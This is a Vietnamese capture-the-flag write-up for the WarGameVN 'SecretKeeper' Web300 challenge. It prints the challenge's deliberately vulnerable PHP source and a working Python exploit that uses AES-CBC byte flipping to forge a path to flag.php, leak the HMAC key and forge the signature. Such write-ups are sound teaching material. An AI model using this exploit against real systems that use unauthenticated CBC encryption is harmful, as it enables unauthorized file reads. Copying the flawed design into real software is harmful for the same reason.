[WarGameVN CTF] SecretKeeper (Web300)
Đây là nơi trao đổi bí mật giữa các tên trùm.
Source: ~
Rất cảm ơn BTC vì đã gìn giữ để cái URL nó sống đến tận bây giờ
Đây là một bài mà hồi đó, mình nhìn nó với một sự ngưỡng mộ sâu sắc, và thậm chí, ngay cả khi có một vài member kiệt xuất trong team mình miên man bình luận về nó thì mình vẫn như một thằng lơ ngơ không hiểu gì.
Mình thích cái cảm giác lâu lâu quay lại một bài nào đó, một bài mà trước đây mình không làm được, thậm chí không biết nó hỏi cái gì, nó cần cái gì, rồi sau đó nó hét lên với mình: “Cờ của mày đây!”, cảm giác thật thanh thản và bình yên
Ngày còn bé (cụ thể là cấp 3), mình cực kỳ yếu tích phân, và dù cho đã cố lăn lộn với nó trong suốt 3 năm học, cộng với vài ngày sát kỳ thi ĐH, mình vẫn ra về tay trắng. Mình nhớ như in cái cảm giác đó, cái cảm giác mà mình thực sự đã sinh ra vì một mục đích khác, một mục đích mà không liên quan khỉ gì đến tích phân cả, rằng thì là cả đời này mình cũng vẫn nấp dưới danh nghĩa của một thằng không thể giải được bài tích phân nào trong đề thi ĐH
Ấy thế mà lên ĐH, mình lại bá đạo vô cùng về mấy cái thứ gớm ghiếc này, tất cả thay đổi, cuộc sống thay đổi, lòng người cũng thay đổi. Mình từng ghét Vật Lý, rồi mình yêu Vật Lý, mình từng ghét Console, rồi mình yêu Console, mình từng ghét Tích phân, và rồi mình yêu Tích phân. Lý do cũng chỉ có một, đó là nếu ta yêu một ai đó, ta sẽ… không còn ghét họ nữa (đệch ). Thôi nói tóm lại, là một khi mình đã thấy mặt lợi ích của cái gì đó mang lại, thì mình sẽ không còn thấy nó vô bổ nữa…
Nội dung chính
Ở bài này, chúng ta có một vùng để nhập séc rét, điền thử:
^_^
và nhấn Save, chúng ta có một cái link:
http://challenges.wargame.vn:1337/web300_c4d7c1d9c925b4021adf5e192315ecb9/?file=dbf8adc50a348b9e808d204825c7aed2d4430f900ed7b96daec2a3c1d6665a2792cdb3104d2666e64e069d87cd286765d29b0c16ca1ab2d26249735974d6fb50&sign=730646501b5d8c9a234686a9bcc580bb
Khá dài và khá hãi… Xem source thì có được:
1 2 3 4 |
<blockquote class="curly-quotes" cite="./secret/b764b44fd336b8281b62b257501ad3c6"> ^_^ </blockquote> |
Như đề bài đưa, source nằm ở index.phps, xem nó thôi:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 |
<?php session_start(); ?> <!DOCTYPE html> <!--[if lt IE 7]> <html class="lt-ie9 lt-ie8 lt-ie7" lang="en"> <![endif]--> <!--[if IE 7]> <html class="lt-ie9 lt-ie8" lang="en"> <![endif]--> <!--[if IE 8]> <html class="lt-ie9" lang="en"> <![endif]--> <!--[if gt IE 8]><!--> <html lang="en"> <!--<![endif]--> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"> <title>SecretKeeper v1.0</title> <link rel="stylesheet" href="css/style.css"> <!--[if lt IE 9]><script src="//html5shim.googlecode.com/svn/trunk/html5.js"></script><![endif]--> </head> <body><br /><br /><br /> <div class="mainform"> <h1>SecretKeeper v1.0</h1> <?php function strToHex($string) { $hex=''; for ($i=0; $i < strlen($string); $i++){ $tmp = dechex(ord($string[$i])); $hex .= (strlen($tmp)==1)?"0".$tmp:$tmp; } return $hex; } function hexToStr($hex) { $string=''; for ($i=0; $i < strlen($hex)-1; $i+=2) $string .= chr(hexdec($hex[$i].$hex[$i+1])); return $string; } // // encrypt + decrypt AES // include("init.php"); // define _KEY,_IV,_SECRET // flag in ./secret/flag.php function encrypt_($str){ return strToHex(mcrypt_encrypt(MCRYPT_RIJNDAEL_128, _KEY, $str, MCRYPT_MODE_CBC,_IV)); } function decrypt_($str){ return rtrim(mcrypt_decrypt(MCRYPT_RIJNDAEL_128, _KEY, hexToStr($str), MCRYPT_MODE_CBC,_IV)," "); } function hmac_($msg,$secret){ return hash_hmac('md5',$msg,$secret); } if(!empty($_POST['secret']) && is_string($_POST['secret']) && strlen($_POST['secret']) < 1337){ $secret_hmac = md5(_SECRET.rand(0,1337),true); $secret_filename = md5(session_id.$secret_hmac); file_put_contents("./secret/".$secret_filename,$_POST['secret']); $secret_link = encrypt_($secret_filename."|".$secret_hmac); echo "<br /><p align='center'><a class='button button-blue' href='?file={$secret_link}&sign=".hmac_($secret_filename,$secret_hmac)."'>Your secret</p></a>"; }elseif(!empty($_GET['file'])){ $decrypt = explode("|",decrypt_($_GET['file'])); $secret_filename = $decrypt[0]; $secret_hmac = $decrypt[1]; $hmac_ = $_GET['sign']; $error = false; if(strlen($secret_hmac) != 16){ echo "HMAC: Bad length! (".strlen($secret_hmac).")<br />"; $error = true; } if(hmac_($secret_filename,$secret_hmac)!==$hmac_){ echo "HMAC: Not match!<br />"; $error = true; } ?> <section class="notepaper"> <figure class="quote"> <blockquote class="curly-quotes" cite="./secret/<?=$secret_filename?>"> <?php if(!$error) echo file_get_contents("./secret/".basename($secret_filename)); // anti directory traversal else echo "ERROR!"; ?> </blockquote> </figure> </section> <?php }else{ ?> <form action="?save" method="POST"> <p><textarea name="secret" rows="10" cols="80" placeholder="Your secret!"></textarea></p> <p align="center"><input type="submit" name="confirm" value="Save" class="button button-blue"></p> </form> <?php } ?> </div> </body> </html> |
Ta sẽ chia code làm 2 phần chính: Mã hóa và Giải mã, còn nhiệm vụ của chúng ta là đọc file ./secret/flag.php.
Mã hóa
1 2 3 4 5 6 7 8 |
if(!empty($_POST['secret']) && is_string($_POST['secret']) && strlen($_POST['secret']) < 1337) { $secret_hmac = md5(_SECRET.rand(0,1337),true); $secret_filename = md5(session_id.$secret_hmac); file_put_contents("./secret/".$secret_filename,$_POST['secret']); $secret_link = encrypt_($secret_filename."|".$secret_hmac); echo "<br /><p align='center'><a class='button button-blue' href='?file={$secret_link}&sign=".hmac_($secret_filename,$secret_hmac)."'>Your secret</p></a>"; } |
$secret_hmac, $secret_filename được tạo ngẫu nhiên, sau đó ghép vào với ký tự ngăn cách là ‘|‘, cuối cùng mã hóa thành tham số file cho url. Tham số còn lại, sign, dùng cho mục đích kiểm tra tính hợp lệ của $secret_filename (mình sẽ trình bày sau).
Nói chung phần này không có gì nhiều, ta kệ nó, cho nó chơi một mình.
Giải mã
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 |
elseif(!empty($_GET['file'])) { $decrypt = explode("|",decrypt_($_GET['file'])); $secret_filename = $decrypt[0]; $secret_hmac = $decrypt[1]; $hmac_ = $_GET['sign']; $error = false; if(strlen($secret_hmac) != 16){ echo "HMAC: Bad length! (".strlen($secret_hmac).")<br />"; $error = true; } if(hmac_($secret_filename,$secret_hmac)!==$hmac_){ echo "HMAC: Not match!<br />"; $error = true; } <section class="notepaper"> <figure class="quote"> <blockquote class="curly-quotes" cite="./secret/<?=$secret_filename?>"> <?php if(!$error) echo file_get_contents("./secret/".basename($secret_filename)); // anti directory traversal else echo "ERROR!"; ?> </blockquote> </figure> </section> <?php } |
Trình tự thực hiện là:
- Giải mã tham số file.
- Chia làm 2 phần, ngăn cách bởi ký tự ‘|‘.
- Phần 1 là $secret_filename, phần 2 là $secret_hmac.
- Dùng tham số sign để kiểm tra tính hợp lệ của $secret_filename, nếu ok thì in ra nội dung của nó.
Như thế, chúng ta thấy được 2 việc chính cần làm:
- Xác định tham số file để $secret_filename trỏ đến file ./secret/flag.php.
- Xác định tham số sign ứng với tham số file để pass bước 4.
Xác định tham số file
Thuật toán mã hóa được sử dụng là AES 128bit (16 byte cho mỗi block), mode CBC, nên chúng ta có thể nghĩ ngay đến Byte Flipping
Do $secret_filename là MD5, kích thước 32 byte, chúng ta sẽ can thiệp vào block đầu tiên của cipher, để thay đổi block thứ hai của plain text. Nhưng cũng cần lưu ý rằng block đầu của plain text sẽ thành rác, và chúng ta cần chỉnh sửa đường dẫn của file flag cho phù hợp. Ví dụ, ta có một đường dẫn hợp lệ là:
^#%&$%$@@$#%%^$abcde/../flag.php
Bắt đầu từ url nhận được lúc đầu, ta dùng đoạn code sau để thu được tham số file mong muốn:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
def get_filename(file): url = 'http://challenges.wargame.vn:1337/web300_c4d7c1d9c925b4021adf5e192315ecb9/?file=%s&sign=%s' % (file, 'xxx') source = get_url_content(url) filename = source.split('cite="./secret/')[1].split('"')[0] return filename # === Byte Flipping 1 === target = 'aaaa/../flag.php' filename = 'b764b44fd336b8281b62b257501ad3c6' file = 'dbf8adc50a348b9e808d204825c7aed2d4430f900ed7b96daec2a3c1d6665a2792cdb3104d2666e64e069d87cd286765d29b0c16ca1ab2d26249735974d6fb50'.decode('hex') for pos in range(len(target)): file = change_byte(file, pos, chr(ord(filename[pos+16]) ^ ord(target[pos]) ^ (ord(file[pos])))) print 'file:', file.encode('hex') filename = get_filename(file.encode('hex')) print 'filename: ', filename # === Byte Flipping 1 === |
1 2 |
file: 8bfbfa9647289086d3d1704e6f84a594d4430f900ed7b96daec2a3c1d6665a2792cdb3104d2666e64e069d87cd286765d29b0c16ca1ab2d26249735974d6fb50 filename: _:$╓¥ì≤¬²æ╗Uz╦[aaaa/../flag.php |
Xác định tham số sign
Dù rằng $secret_filename xem chừng đã hợp lệ, ta vẫn chưa đọc được nội dung của nó, do bị bước 4 chặn lại. Để ý rằng, sign được tính như sau:
1 |
$sign = hmac_($secret_filename,$secret_hmac) |
mặt khác, cả $secret_filename và $secret_hmac đều là các thành phần trong tham số file, được ngăn cách bởi ký tự ‘|‘, nhưng task chỉ hiển thị $secret_filename cho ta thấy.
Để có $secret_hmac, điều duy nhất mà ta làm được, đó là Flipping thêm một Byte nữa, mục đích là thay đổi ký tự ‘|‘ thành ký tự khác, khi đó câu lệnh:
1 2 |
$decrypt = explode("|",decrypt_($_GET['file'])); $secret_filename = $decrypt[0]; |
sẽ trả về $secret_filename chứa cả $secret_hmac (do không còn ký tự ngăn cách), và bằng cách lấy 16 ký tự cuối, ta có thứ mình cần
Ta biết rằng ký tự ‘|‘ sẽ ở block 3 ($secret_filename là MD5, kích thước 32 byte = 2 block), nên để thay đổi nó, ta sẽ can thiệp vào block 2 của cipher, mà cụ thể là byte thứ 17. Tất nhiên điều này sẽ làm hỏng $secret_filename, nhưng hiện tại nó không còn quan trọng nữa.
1 2 3 4 |
file = change_byte(file, 16, '1') filename = get_filename(file.encode('hex')) secret_hmac = filename[-16:] print 'secret_hmac:', secret_hmac.encode('hex') |
1 |
secret_hmac: 271876ad58fdba9d870d1c6ad3f6f94c |
Giờ thì chúng ta đã có thể thoải mái tính sign, like a boss
:
1 2 |
sign = hmac.new(secret_hmac, secret_filename, hashlib.md5).hexdigest(); print 'sign:', sign |
1 |
sign: 68b3b5f8599fb8939ce1b5b9cb7ce46a |
Tổng kết
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 |
import urllib, urllib2 import hmac,hashlib def get_url_content(url): req = urllib2.Request(url) source = urllib2.urlopen(req).read() return source def change_byte(string, pos, new_byte): new_str = '' for i in range(len(string)): if i != pos: new_str += string[i] else: new_str += new_byte return new_str def get_filename(file): url = 'http://challenges.wargame.vn:1337/web300_c4d7c1d9c925b4021adf5e192315ecb9/?file=%s&sign=%s' % (file, 'xxx') source = get_url_content(url) filename = source.split('cite="./secret/')[1].split('"')[0] return filename # === Byte Flipping 1 === target = 'aaaa/../flag.php' filename = 'b764b44fd336b8281b62b257501ad3c6' file = 'dbf8adc50a348b9e808d204825c7aed2d4430f900ed7b96daec2a3c1d6665a2792cdb3104d2666e64e069d87cd286765d29b0c16ca1ab2d26249735974d6fb50'.decode('hex') for pos in range(len(target)): file = change_byte(file, pos, chr(ord(filename[pos+16]) ^ ord(target[pos]) ^ (ord(file[pos])))) print 'file:', file.encode('hex') filename = get_filename(file.encode('hex')) final_file = file.encode('hex') secret_filename = filename print 'filename: ', filename # === Byte Flipping 1 === # === Byte Flipping 2 === file = change_byte(file, 16, '1') filename = get_filename(file.encode('hex')) secret_hmac = filename[-16:] print 'secret_hmac:', secret_hmac.encode('hex') sign = hmac.new(secret_hmac, secret_filename, hashlib.md5).hexdigest(); print 'sign:', sign # === Byte Flipping 2 === # === Get Flag === url = 'http://challenges.wargame.vn:1337/web300_c4d7c1d9c925b4021adf5e192315ecb9/?file=%s&sign=%s' % (final_file, sign) print 'source:', get_url_content(url).split('<blockquote')[1].split('</blockquote>')[0] # === Get Flag === |
Flag = mario_CBCm0d3_is_swag_huh_;)
Ghi chú: Chúng ta cần để ý giá trị trả về của mỗi bước Byte Flipping, tránh để xuất hiện ‘|’, do điều này sẽ dẫn đến secret_hmac thu được bị sai.
well done :D